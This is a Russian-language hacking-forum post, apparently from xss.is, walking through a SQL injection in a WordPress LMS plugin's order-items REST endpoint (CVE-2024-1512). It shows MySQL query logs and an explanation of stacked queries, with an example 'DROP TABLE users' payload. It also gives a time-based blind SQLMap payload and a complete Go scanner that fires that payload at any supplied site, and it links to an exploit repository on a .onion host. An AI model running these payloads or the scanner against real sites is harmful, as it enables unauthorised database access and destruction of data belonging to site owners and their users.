                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed')   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')
  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND
                                (
                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
                                        ( _order.post_status = "444" )
                                )
                          AND
                                (
                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))
                                )
                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
 
 
  ORDER BY lms_order_items.ID  DESC
                    96 Query    SELECT  SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price  FROM `wp_stm_lms_order_items`
  as lms_order_items
   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed')   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')
  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND
                                (
                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
                                        ( _order.post_status = "444" )
                                )
                          AND
                                (
                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))
                                )
                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
 
 
  ORDER BY lms_order_items.ID  DESC
                    96 Query    SELECT  lms_order_items.*, course.post_title as name, _order.`post_date` as date_created  FROM `wp_stm_lms_order_items`
  as lms_order_items
   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed')   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')   left join wp_postmeta as meta on (meta.post_id = _order.ID)
  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND
                                (
                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
                                        ( _order.post_status = "444" )
                                )
                          AND
                                (
                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))
                                )
                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
  GROUP BY lms_order_items.id
 
  ORDER BY lms_order_items.ID  DESC
  LIMIT 10
                    96 Quit
Большинство запросов находятся внутри двойных кавычек, за исключением (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR(meta.meta_key = "_customer_user" AND meta.meta_value in (555)) - что относится к параметру пользователя. Параметры, отличные от "user", экранируют (escape) кавычки при передаче в базу данных, но это не будет иметь значения для параметра "user", так как он не находится в кавычках, и нам не нужно экранировать. Например, если я поставлю 222" как id, чтобы выйти из кавычек в sql запросе, то в базу запрос пойдёт такой _order.ID = "222\\\"", а user и так не внутри кавычек, так что такой проблемы с этим параметром нет.

Разработка Эксплоита (Детектор)​

Часть запроса, которую мы можем изменить, это 555:
Код: Скопировать в буфер обмена
Код:
(
  (meta.meta_key = "user_id" AND meta.meta_value IN (555)) OR
  (meta.meta_key = "_customer_user" AND meta.meta_value IN (555))
)
Что такое Стек Запрос?
Стек запрос - это техника SQL-инъекции, при которой внедренный SQL-код включает несколько SQL-запросов, разделенных точками с запятой. Например, в приведенном ниже случае я внедрил полезную нагрузку ' OR 1=1; DROP TABLE users; --.
Код: Скопировать в буфер обмена
SELECT * FROM users WHERE username = 'xss' AND password = 'pass';
SELECT * FROM users WHERE username = '' OR 1=1; DROP TABLE users; --' AND password = 'pass';
Что если я использую стековый запрос в нашем случае?
Код: Скопировать в буфер обмена
(meta.meta_key = "user_id" AND meta.meta_value IN (;SELECT sleep(5);-- -))
1708787034154.png


Изображение [7]​
Я открыл URL: http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&user=;SELECT%20sleep(5);--%20-

Результат с SQL-сервера находится в первых двух полезных нагрузках, которые я выбрал, что показывает, что стековые запросы в данном случае не проходят, потому что все идет как один запрос. В то время в втором запросе (Я ВРУЧНУЮ скопировал QUERY 963 в MySQL), мы видим, что было сделано два запроса с SELECT sleep(5) - если бы это был наш случай, что не так, стековые запросы были бы возможны.
Что насчет SQLMap?
SQLMap нашел слепую SQL-инъекцию:
Полезная нагрузка: 555) AND (SELECT 1 FROM (SELECT SLEEP(5))AA
  • SELECT sleep(5): Это подзапрос, который вызывает функцию sleep(5), заставляя базу данных приостановить работу на 5 секунд.
  • AA: Это псевдоним для подзапроса. В SQL можно дать подзапросу псевдоним, добавив идентификатор после скобок подзапроса. Запрос не будет работать без него, потому что синтаксис SQL требует, чтобы подзапросы в предложении FROM имели псевдонимы, чтобы на них можно было ссылаться в других местах запроса.
  • SELECT 1: Эта часть подзапроса используется для возврата постоянного значения 1. В нашем контексте конкретное возвращаемое значение не важно. Главное, чтобы подзапрос (включая часть sleep(5)) выполнялся. SELECT 1 - это просто простая операция, чтобы обеспечить подзапросу допустимую форму SQL (чтобы синтакс был правильным).
Я написал простой эксплоит, который отправляет полезную нагрузку и проверяет, уязвим ли сайт. Если ответ ожидается более 5 секунд, то сайт, вероятно, уязвим, в противном случае - нет.
Код: Скопировать в буфер обмена
Код:
package main

import (
    "crypto/tls"
    "fmt"
    "net/http"
    "net/url"
    "os"
    "time"
)

func main() {
    if len(os.Args) < 2 {
        fmt.Println("Usage: go run main.go http://example.com")
        os.Exit(1)
    }

    baseURL := os.Args[1]

    query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user="
    query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA"
    encodedQuery := url.QueryEscape(query2)

    fullURL := baseURL + query1 + encodedQuery
    fmt.Println(fullURL)

    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}

    client := &http.Client{
        Timeout: 100 * time.Second,
    }

    startTime := time.Now()

    resp, err := client.Get(fullURL)
    if err != nil {
        fmt.Printf("Error making request: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    responseTime := time.Since(startTime)

    if responseTime >= 5*time.Second {
        fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime)
    } else {
        fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime)
    }
}

Эксплоит тут:
http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/git/cve/CVE/src/branch/main/CVE-2024-1512

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу